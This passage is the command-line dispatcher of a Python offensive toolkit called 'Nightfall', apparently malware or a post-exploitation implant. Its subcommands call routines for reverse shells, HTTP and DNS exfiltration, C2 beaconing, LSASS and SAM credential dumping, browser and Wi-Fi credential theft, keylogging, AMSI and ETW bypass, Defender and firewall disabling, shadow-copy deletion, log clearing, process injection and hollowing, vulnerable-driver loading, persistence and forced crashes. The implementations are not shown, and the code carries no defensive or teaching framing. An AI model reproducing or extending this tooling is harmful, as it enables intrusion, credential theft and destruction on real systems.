    sub.add_parser("revert")

    rs = sub.add_parser("reverse-shell")
    rs.add_argument("--host", required=True)
    rs.add_argument("--port", type=int, required=True)

    eh = sub.add_parser("exfil-http")
    eh.add_argument("--url", required=True)
    eh.add_argument("--dir", default=None)

    ed = sub.add_parser("exfil-dns")
    ed.add_argument("--domain", required=True)
    ed.add_argument("--dir", default=None)

    bc = sub.add_parser("beacon")
    bc.add_argument("--url", required=True)
    bc.add_argument("--interval", type=int, default=60)
    sub.add_parser("beacon-stop")

    sc = sub.add_parser("scm-exec")
    sc.add_argument("--target", required=True)
    sc.add_argument("--run", required=True)
    sc.add_argument("--name", default="NfSvc")

    wm = sub.add_parser("wmi-exec")
    wm.add_argument("--target", required=True)
    wm.add_argument("--run", required=True)

    wr = sub.add_parser("winrm-exec")
    wr.add_argument("--target", required=True)
    wr.add_argument("--run", required=True)

    va = sub.add_parser("validate")
    va.add_argument("--target", default=None)
    sub.add_parser("rollback")
    sub.add_parser("env")
    sub.add_parser("status")
    sub.add_parser("cleanup")
    sub.add_parser("interactive")

    args = p.parse_args()

    if not args.cmd:
        print(BANNER)
        p.print_help()
        return

    nf = Nightfall()

    try:
        if args.cmd == "interactive":
            interactive(nf)
            return

        if args.cmd == "freeze":
            nf.sig_freeze()
        elif args.cmd == "unfreeze":
            nf.sig_unfreeze()
        elif args.cmd == "zombie":
            nf.zombie(args.path, args.data)
            print("[*] oplock held, ctrl-c to release")
            while True:
                time.sleep(2)
                nf.zombie_check()
        elif args.cmd == "ntlm":
            nf.ntlm(args.ip)
        elif args.cmd == "watch":
            nf.watch_start()
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "unwatch":
            nf.watch_stop()
        elif args.cmd == "dam-add":
            nf.dam_add(args.pid)
        elif args.cmd == "dam-freeze":
            nf.dam_freeze()
        elif args.cmd == "dam-unfreeze":
            nf.dam_unfreeze()
        elif args.cmd == "bsod":
            nf.scorched()
        elif args.cmd == "harvest":
            nf.harvest()
        elif args.cmd == "harvest-start":
            nf.harvest_start(interval=args.interval)
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "harvest-stop":
            nf.harvest_stop()
        elif args.cmd == "scan-pause":
            nf.scan_pause()
        elif args.cmd == "wer-stage":
            nf.wer_stage()
        elif args.cmd == "wer-fire":
            nf.wer_fire()
        elif args.cmd == "wnf":
            nf.wnf_trigger()
        elif args.cmd == "overwatch":
            nf.watch_start()
            nf.overwatch_start(action=args.mode)
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "overwatch-stop":
            nf.overwatch_stop()
        elif args.cmd == "panopticon":
            nf.panopticon()
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "eclipse":
            nf.eclipse()
            print("[*] ctrl-c to release")
            while True:
                time.sleep(1)
        elif args.cmd == "lazarus":
            nf.lazarus(args.path, args.data)
            print("[*] ctrl-c to release")
            while True:
                time.sleep(2)
                nf.zombie_check()
        elif args.cmd == "run-harvest":
            nf.run_harvest(args.ip)
        elif args.cmd == "blackout":
            nf.blackout()
            print("[*] ctrl-c to restore")
            while True:
                time.sleep(1)
        elif args.cmd == "restore":
            nf.restore()
        elif args.cmd == "scorched":
            nf.scorched()
        elif args.cmd == "elevate":
            nf.elevate(args.run)
        elif args.cmd == "system":
            nf.system(args.run)
        elif args.cmd == "amsi-bypass":
            nf.amsi_bypass()
        elif args.cmd == "amsi-hw":
            nf.amsi_bypass_hw()
        elif args.cmd == "etw-blind":
            nf.etw_blind()
        elif args.cmd == "etw-hw":
            nf.etw_blind_hw()
        elif args.cmd == "unhook":
            nf.unhook_ntdll()
        elif args.cmd == "syscall":
            nf.syscall_info(args.func)
        elif args.cmd == "sam-dump":
            nf.sam_dump(args.out)
        elif args.cmd == "lsass-dump":
            nf.lsass_dump(args.out)
        elif args.cmd == "persist":
            nf.persist_runkey(command=args.run)
        elif args.cmd == "persist-remove":
            nf.persist_remove()
        elif args.cmd == "persist-task":
            nf.persist_task(command=args.run)
        elif args.cmd == "persist-task-remove":
            nf.persist_task_remove()
        elif args.cmd == "recon":
            nf.env_recon()
        elif args.cmd == "net-discover":
            nf.net_discover()
        elif args.cmd == "evtlog-clear":
            nf.evtlog_clear()
        elif args.cmd == "defender-exclude":
            nf.defender_exclude(path=args.path, process=args.process)
        elif args.cmd == "defender-status":
            nf.defender_status()
        elif args.cmd == "defender-disable":
            nf.defender_disable_rtp()
        elif args.cmd == "firewall-allow":
            nf.firewall_allow(port=args.port, program=args.program)
        elif args.cmd == "firewall-disable":
            nf.firewall_disable()
        elif args.cmd == "firewall-enable":
            nf.firewall_enable()
        elif args.cmd == "shadow-delete":
            nf.shadow_delete()
        elif args.cmd == "wifi-creds":
            nf.wifi_creds()
        elif args.cmd == "screenshot":
            nf.screenshot(args.out)
        elif args.cmd == "clipboard":
            nf.clipboard_get()
        elif args.cmd == "clip-monitor":
            nf.clipboard_monitor()
        elif args.cmd == "file-search":
            nf.file_search(args.root)
        elif args.cmd == "file-collect":
            nf.file_collect(args.paths)
        elif args.cmd == "ghost":
            nf.ghost()
        elif args.cmd == "anti-debug":
            if nf.anti_debug():
                print("[!] debugger detected")
            else:
                print("[+] no debugger")
        elif args.cmd == "anti-vm":
            nf.anti_vm()
        elif args.cmd == "timestomp":
            nf.timestomp(args.path, args.ref)
        elif args.cmd == "ps-log-bypass":
            nf.ps_log_bypass()
        elif args.cmd == "artifact-wipe":
            nf.artifact_wipe()
        elif args.cmd == "ppid-spoof":
            nf.ppid_spoof(args.run, args.parent)
        elif args.cmd == "loot-encrypt":
            nf.loot_encrypt()
        elif args.cmd == "self-destruct":
            nf.self_destruct()
        elif args.cmd == "inject":
            nf.inject(args.pid, args.shellcode)
        elif args.cmd == "inject-apc":
            nf.inject_apc(args.pid, args.shellcode)
        elif args.cmd == "earlybird":
            nf.inject_earlybird(args.run, args.shellcode)
        elif args.cmd == "hijack":
            nf.inject_threadhijack(args.pid, args.shellcode)
        elif args.cmd == "stomp":
            nf.inject_stomp(args.pid, args.shellcode, args.dll)
        elif args.cmd == "byovd-load":
            nf.byovd_load(args.driver)
        elif args.cmd == "byovd-unload":
            nf.byovd_unload()
        elif args.cmd == "hide":
            nf.process_hide(args.pid)
        elif args.cmd == "callbacks":
            nf.callback_list()
        elif args.cmd == "etw-ti":
            nf.etw_ti_disable()
        elif args.cmd == "cb-nuke":
            nf.callback_nuke()
        elif args.cmd == "hollow":
            nf.process_hollow(args.exe, args.payload)
        elif args.cmd == "peb":
            nf.peb_masquerade(args.name, args.cmdline)
        elif args.cmd == "pipe-listen":
            nf.pipe_listen(args.name)
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "pipe-stop":
            nf.pipe_stop()
        elif args.cmd == "pipe-connect":
            nf.pipe_connect(args.target, args.name, args.run)
        elif args.cmd == "wnf-listen":
            nf.wnf_c2_listen(args.state)
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "wnf-stop":
            nf.wnf_c2_stop()
        elif args.cmd == "wnf-send":
            nf.wnf_c2_send(args.state, args.run)
        elif args.cmd == "doppelgang":
            nf.process_doppelgang(args.payload, args.name)
        elif args.cmd == "timer-exec":
            nf.timer_exec(args.shellcode)
        elif args.cmd == "inst-cb":
            nf.instrumentation_cb(args.shellcode)
        elif args.cmd == "inst-cb-remove":
            nf.instrumentation_cb_remove()
        elif args.cmd == "handle-hide":
            nf.handle_hide(args.pid)
        elif args.cmd == "mft-stomp":
            nf.mft_timestomp(args.path, args.ref)
        elif args.cmd == "projfs":
            nf.projfs_start(args.root, args.clean, args.payload)
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "projfs-stop":
            nf.projfs_stop()
        elif args.cmd == "kpool-write":
            nf.kpool_write(args.data.encode('utf-8'))
        elif args.cmd == "kpool-read":
            data = nf.kpool_read(args.addr, args.size)
            if data:
                print(data.decode('utf-8', errors='replace'))
        elif args.cmd == "kpool-post":
            nf.kpool_c2_post(args.run)
        elif args.cmd == "kpool-fetch":
            nf.kpool_c2_fetch(args.addr)
        elif args.cmd == "flt-enum":
            nf.minifilter_enum()
        elif args.cmd == "flt-blind":
            nf.minifilter_blind(args.name)
        elif args.cmd == "clip-listen":
            nf.clip_c2_listen()
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "clip-stop":
            nf.clip_c2_stop()
        elif args.cmd == "clip-send":
            nf.clip_c2_send(args.run)
        elif args.cmd == "persist-timeprov":
            nf.persist_timeprov(args.dll, args.name)
        elif args.cmd == "persist-timeprov-rm":
            nf.persist_timeprov_remove(args.name)
        elif args.cmd == "persist-wer":
            nf.persist_wer(args.dll)
        elif args.cmd == "persist-wer-rm":
            nf.persist_wer_remove(args.dll)
        elif args.cmd == "persist-ssp":
            nf.persist_ssp(args.dll, args.name)
        elif args.cmd == "persist-ssp-rm":
            nf.persist_ssp_remove(args.name)
        elif args.cmd == "sleep-obf":
            nf.sleep_obfuscate(args.addr, args.size, args.duration, args.key)
        elif args.cmd == "sleep-obf-sc":
            nf.sleep_obf_region(args.shellcode, args.duration)
        elif args.cmd == "thread-hide":
            nf.thread_hide(args.pid, args.tid)
        elif args.cmd == "keylog":
            nf.keylog_start(args.out)
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "keylog-stop":
            nf.keylog_stop()
        elif args.cmd == "browser-creds":
            nf.browser_creds()
        elif args.cmd == "reg-creds":
            nf.reg_creds()
        elif args.cmd == "impersonate":
            nf.token_impersonate(args.pid)
        elif args.cmd == "revert":
            nf.revert_self()
        elif args.cmd == "reverse-shell":
            nf.reverse_shell(args.host, args.port)
        elif args.cmd == "exfil-http":
            nf.exfil_http(args.url, args.dir)
        elif args.cmd == "exfil-dns":
            nf.exfil_dns(args.domain, args.dir)
        elif args.cmd == "beacon":
            nf.beacon_start(args.url, args.interval)
            print("[*] ctrl-c to stop")
            while True:
                time.sleep(1)
        elif args.cmd == "beacon-stop":
            nf.beacon_stop()
        elif args.cmd == "scm-exec":
            nf.scm_exec(args.target, args.run, args.name)
        elif args.cmd == "wmi-exec":
            nf.wmi_exec(args.target, args.run)
        elif args.cmd == "winrm-exec":
            nf.winrm_exec(args.target, args.run)
        elif args.cmd == "validate":
            nf.validate(args.target)
        elif args.cmd == "rollback":
            nf.rollback()
        elif args.cmd == "env":
            env = nf.detect_env()
            for k, v in env.items():
                print(f"  {k}: {v}")
        elif args.cmd == "status":
            nf.status()
        elif args.cmd == "cleanup":
            nf.cleanup()

    except KeyboardInterrupt:
        print("\n[*] interrupted")
        nf.cleanup()


if __name__ == "__main__":
    main()